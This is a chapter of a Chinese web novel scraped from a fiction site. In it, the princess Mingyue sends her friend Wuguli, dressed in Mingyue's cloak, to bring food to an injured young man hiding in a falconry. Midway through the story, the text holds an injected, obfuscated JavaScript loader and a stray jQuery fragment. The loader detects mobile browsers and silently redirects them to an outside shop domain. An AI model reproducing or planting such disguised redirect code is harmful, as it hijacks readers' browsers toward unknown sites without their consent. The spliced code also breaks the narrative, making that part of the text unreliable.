文趣网 > 其他小说 > 拯救美强惨疯帝 > 14.换人喂他
    宫女有些迟疑:“乌古里姑娘还关着呢。”

    “便说我有急事找她。”

    这句话果然管用。

    不多时,院门外就传来一阵急促的脚步声。帘子被人从外头掀起,一个穿红衣的少女挟着冷风冲进来。

    “殿下救命!”

    她一进屋就往明月身边扑。

    明月忙伸手拦住:“身上都是雪。”

    乌古里停在榻前,低头往自己肩上一看,索性左右甩了两下。

    细雪落了满地。

    她生着一双乌黑明亮的眼睛,肤色微深,两条长辫垂在肩后,辫梢缀着红珊瑚与小银铃。

    一路跑来,铃铛跟着响了一路。

    “我阿娘关了我三日。”

    乌古里把手伸到炭盆上烤着。

    “不过是骑了她的马,又从西墙翻出去一回。她非说我再这样下去,迟早叫狼叼走。”

    明月道:“你还推了守门的内侍。”

    “他拉我的辫子。”

    “你把他的两颗牙都打掉了。”

    “他原本就该换牙。”

    明月没忍住,低头笑了一声。

    乌古里立刻坐到她身边。

    “我就知道,殿下叫我出来,准有好事。”

    她压低声音道:“今日是去偷马,还是翻墙?”

    明月抬眼看着她。

    鲜活的脸,亮晶晶的眼睛。

    前世明月远嫁朔国,乌古里始终随侍左右。

    半年后沃颜赫连兵临上京,要将明月剥尽衣裳,锁上攻城车。

    乌古里骗她喝下安神汤,换上婢衣塞进运粮车。

    她自己则披着明月的斗篷,骑马往东门跑,引走了朔兵。

    那一去便没有回来。

    后来明月听人说,有个狄女咬伤朔将,被人拴在马后拖了很远。

    死时一只手依旧死死抓着那件染血的公主斗篷。

    明月望着她,眼眶一阵发热。

    乌古里抬手摸了摸自己的脸。

    “我又闯什么祸了?”

    “没有。”

    明月握住她的手,拉她坐好。

    “我有一件事要你帮忙。”

    乌古里顿时来了精神:“只管说。”

    “你与我身量相近。”

    明月取过自己常穿的浅青斗篷,放到她膝上。

    “往后几日,你穿我的衣裳,替我去一个地方。”

    乌古里抱住斗篷,眼睛眨了眨:“扮成你?”

    “嗯。”

    “去见谁?”

    明月停了一下:“一个受伤的周人。”

    乌古里的眼睛一下亮起来:“男的?”

    明月拿眼睛瞪她。

    乌古里立刻把声音压得更低:“年轻的?”

    “与你无关!”

    “生得好看?”

    明月耳根微热:“我叫你来办事。”

    乌古里抱着斗篷往她身边挪了挪,满脸兴味。

    “是不是那夜翻窗进来,给你喂药的那位小郎主?”

    明月猛地看她:“你怎么知道?”

    “你病的那夜,我阿娘虽关着门,窗子却关不住我。”乌古里得意地扬了扬眉。

    “我从后墙翻出来,想来看你。走到院外,正瞧见一道黑影从你窗下出去。”

    她拿手比了一下。

    “那么高,肩又宽,总不会是宫女。”

    明月脸上热意更重。

    乌古里凑过来:“真是你的心上人?”

    “乌古里!”

    “好,我不说了。”她捂住嘴,眼睛仍笑得弯弯的。

    明月把斗篷展开,替她比了比长短。

    “他从未见过我的脸。你穿我的斗篷,梳一样的辫子,再拿上我的食盒。他住在废鹰房,白日也很暗,只要少说话,便认不出来。”

    乌古里摸了摸斗篷上的狐毛领子:“我还要学你走路?”

    明月点了下头。

    乌古里又问:“见到他以后呢?”

    “把饭放到门边,敲一下门。”

    “他说话怎么办?”

    “你只说——”明月顿住。

    赵玄度熟悉她的声音。

    乌古里自小与她一处长大,学她说话倒有七八分相似。可多说几句,总会露出破绽。

    明月道:“只说‘我来了’。声音放轻些。旁的话都不必答。”

    乌古里学着她平日的语气,轻声道:“我来了。”

    声音果然很像。

    明月略略放心。

    乌古里看她一眼,又学了一句:“今日有热粥,还有炙羊肉。”

    “这一句不必说。”

    “那位小郎主若问你为何病了呢?”

    “也不必答。”

    “他若问你想不想他?”

    明月把斗篷一下盖到她脸上:“他不会问。”

    乌古里从斗篷里钻出来,笑得肩头直抖。

    “原来还是个不会说话的。”

    明月低下头,慢慢整理斗篷系带。

    “他救过我几次。等他伤好离开,便算两清。”

    乌古里看了看她,终于收起玩笑:“朔人找的就是他?”

    “嗯。”

    “那地方可有人盯着?”

    “眼下还没有。我每次去时都很小心。不过等搜宫的消息传下来以后,就不能再去了。”

    乌古里点点头:“我送饭时先绕过马厩,再从北墙过去。若有人跟着,我就领他到洗衣院,让他在那些婆子中间慢慢找。”

    明月看向她。

    乌古里眉眼明亮,已经把路线在心里过了一遍。

    “食盒交给我。每日什么时辰、走哪条路、遇见人怎么说,你都告诉我。”

    “你不怕?”

    “他救过你。”乌古里把斗篷披到肩上,抬手系好带子。“便是我欠他一回。”

    明月心中一热,伸手替她掖好领口:“万事先顾着自己。情形不对,东西丢下便走。”

    “知道了。”

    乌古里站起身,在屋里走了两步。

    她故意学着明月平日的步子,走得又慢又轻。

    走到门边,她忽然回过头,柔声道:“你还没醒么?”

    明月怔了一下。

    正是她不久前在鹰房门外,扣门时里头没人回应时,她曾经说过的话。

    这丫头,那时候就跟着她!

    她早就知道!

    乌古里见她脸红,立刻笑着跑开。

    “我学得像不像?”

    “你别让我抓着你!”

    两人在屋里闹了一阵,明月胸口压了几日的闷气,也终于散开一些。

    乌古里抱着食盒,轻快地跑进夜色里。

    明月皱眉看着那个蹦跳的身影,赵玄度能被瞒住吗?

    半个时辰后,乌古里提着空食盒回来。

    明月一直坐在窗边望着她去的方向。

    她竟没察觉自己一直在等。

    一听见脚步声,明月立刻起身。

    “如何?”

    乌古里解下斗篷,先给自己倒了一盏热茶。

    “他收了。”

    “可曾看见你?”

    “门只开了一点。他瞧见斗篷,伸手把食盒拿进去了。”

    明月心口稍安。

    乌古里喝了口茶,又道:“他问你的病好了没有。”

    “你怎么答的?”

    “我学你咳了一声,又点了点头。”

    “隔着门,他看得见你点头?”

    乌古里想了想:“那他大约没看见。”

    明月拿她没有办法,只好接过食盒。

    乌古里凑到她耳边,小声道:“声音很好听。”

    明月耳根又热了:“回去罢,免得萧嬷嬷又关你。”

    “她今日不敢关了。殿下有事要我办呢。”

    乌古里披好自己的红衣,临走前又回头道:“明日还送么?”

    明月垂眼看着食盒。

    “送。”

    等赵玄度伤好。

    等他离开狄宫。

    明月决定在那以前,都由乌古里替她去。

    反正他从未见过自己的脸。

    只要她常穿的这件浅青斗篷仍旧出现,他就不会知道,真正的耶律明月再也不会走进那座鹰房。

    …

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773647|209397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …

    次日一早,乌古里又换上明月的浅青斗篷,将两条长辫重新梳过,辫梢也换成了明月惯用的白玉坠子。

    她提着食盒去了废鹰房。

    院里积雪未化,乌古里记着明月的叮嘱,特意把步子放慢,沿着墙根轻轻走过去。

    到了门前,她把食盒摆在昨日的位置,抬手叩了一下门。

    乌古里学着明月的声音,低声道:“我来了。”

    黑暗中传来赵玄度的声音。

    “放下。”

    只这一句。

    乌古里屏息等了一会儿。

    门里的人没有问她的病,也没有像前日那样问今日带了什么。

    她心里反倒一喜,只当自己学得太像,连那少年也未起疑,忙将食盒往门里推了推,转身离开。

    她走出荒院时回头看了一眼。

    废门仍只开着一条缝。

    门后的少年坐在暗处,手指搭在膝上,目光一直落在她离开的方向。

    乌古里没有多想。

    她一路小跑回了明月的小院,才进门就解下斗篷,往榻上一丢。

    “肯定成了!”

    明月没有睡好,闻言忙从窗边转过身。

    一双乌润的眼睛先亮了起来,连病后苍白的小脸也浮起一点薄红。

    她自己尚未察觉,声音已经急急追了过去。

    “他没有发现吧?”

    “昨夜都没有,今日更不会。”

    她低头拿起斗篷,慢慢叠着:“食收进去没有?”

    乌古里笑道:

    “我哪敢多瞧?你千叮咛万嘱咐,叫我放下就走。我若趴在门缝边看他吃饭,岂不是立刻露馅?”

    明月手上停了停:“我只是怕东西放得太远,叫雪埋了。”

    “门槛才多远。”

    乌古里凑过来,拿肩头轻轻撞她一下。

    “你这样记挂他,怎么自己不去?”

    明月把斗篷放回箱笼:“谁记挂他了?”

    话说得理直气壮,耳尖却先红了。

    卷翘的长睫慌乱地扑闪着,脸颊却不受控制地漫上两团绯红的软云。

    她低头把斗篷又叠了一遍,连一处褶子也要抚平。

    活像只被人踩了尾巴的猫儿。

    “还说没有。”

    乌古里掰着手指给她数。

    “怕他饿,怕他冷。昨夜翻来覆去没睡好,今日我才回来,你先问的也不是我冷不冷,是他有没有吃。”

    明月转过身,正色道:“我救他,只因他伤势未愈。等他能走,自然各不相干。你往后也不许再拿这些话取笑我。”

    乌古里见她神色严肃,只得把笑压下去。

    “知道了。”

    她答应得快,眼睛仍在明月脸上转了两圈。

    过了一会儿,又小声道:“我看那少年也未必值得你这样上心。”

    明月抬眼:“怎么说?”

    “你亲自送了这么多日的饭,病了两日,他连一句好听的话都不会说。如今又害得你不敢露面。”

    乌古里哼了一声:“周人果然没良心。”

    “这与周人有什么关系?”

    “我阿娘常说,南边的男人嘴最甜,心也最花。见了姑娘就说月亮星星,转头又去哄另一个。”

    乌古里顺手拿起碟中的乳糕,咬了一口。

    “他是不是先哄了你,后来又变了脸,不肯理你?”

    明月一怔:“谁同你说的?”

    “还用人说?”

    乌古里越想越觉得有理。

    “若不是他先招惹你,你为何每日给他送饭?若不是他后来伤了你的心,你又为何叫我假扮你?”

    她把乳糕咽下去,重重拍了一下膝头。

    “定是他见你心软,白白哄走了你的东西,转头又装起清高来。”

    明月微微张着嫣红的唇,被这离谱的猜测噎得发懵。

    她气恼地鼓起软乎乎的脸颊,莹润的眼底全是哭笑不得。

    急得直跺脚,却又半个字也倒不出来。

    乌古里见她不说话,更认定自己猜中了。

    “我明日去送饭,倒要替你出一口气。”